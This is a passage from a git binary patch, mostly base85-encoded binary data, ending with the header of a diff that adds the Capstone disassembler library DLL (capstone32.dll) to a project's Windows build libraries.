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 literal 0 HcmV?d00001 diff --git a/Build/libraries/win32/capstone32.dll b/Build/libraries/win32/capstone32.dll new file mode 100644 index 0000000000000000000000000000000000000000..594f519e5b4de6f4dbdcb454cda8388e6c6998c2 GIT binary patch literal 1537536 zcmeFa3tUvy+CRRB8DKoOtMa^oavC=XH^~nGGthMF_Vj8UI<&DRb^! 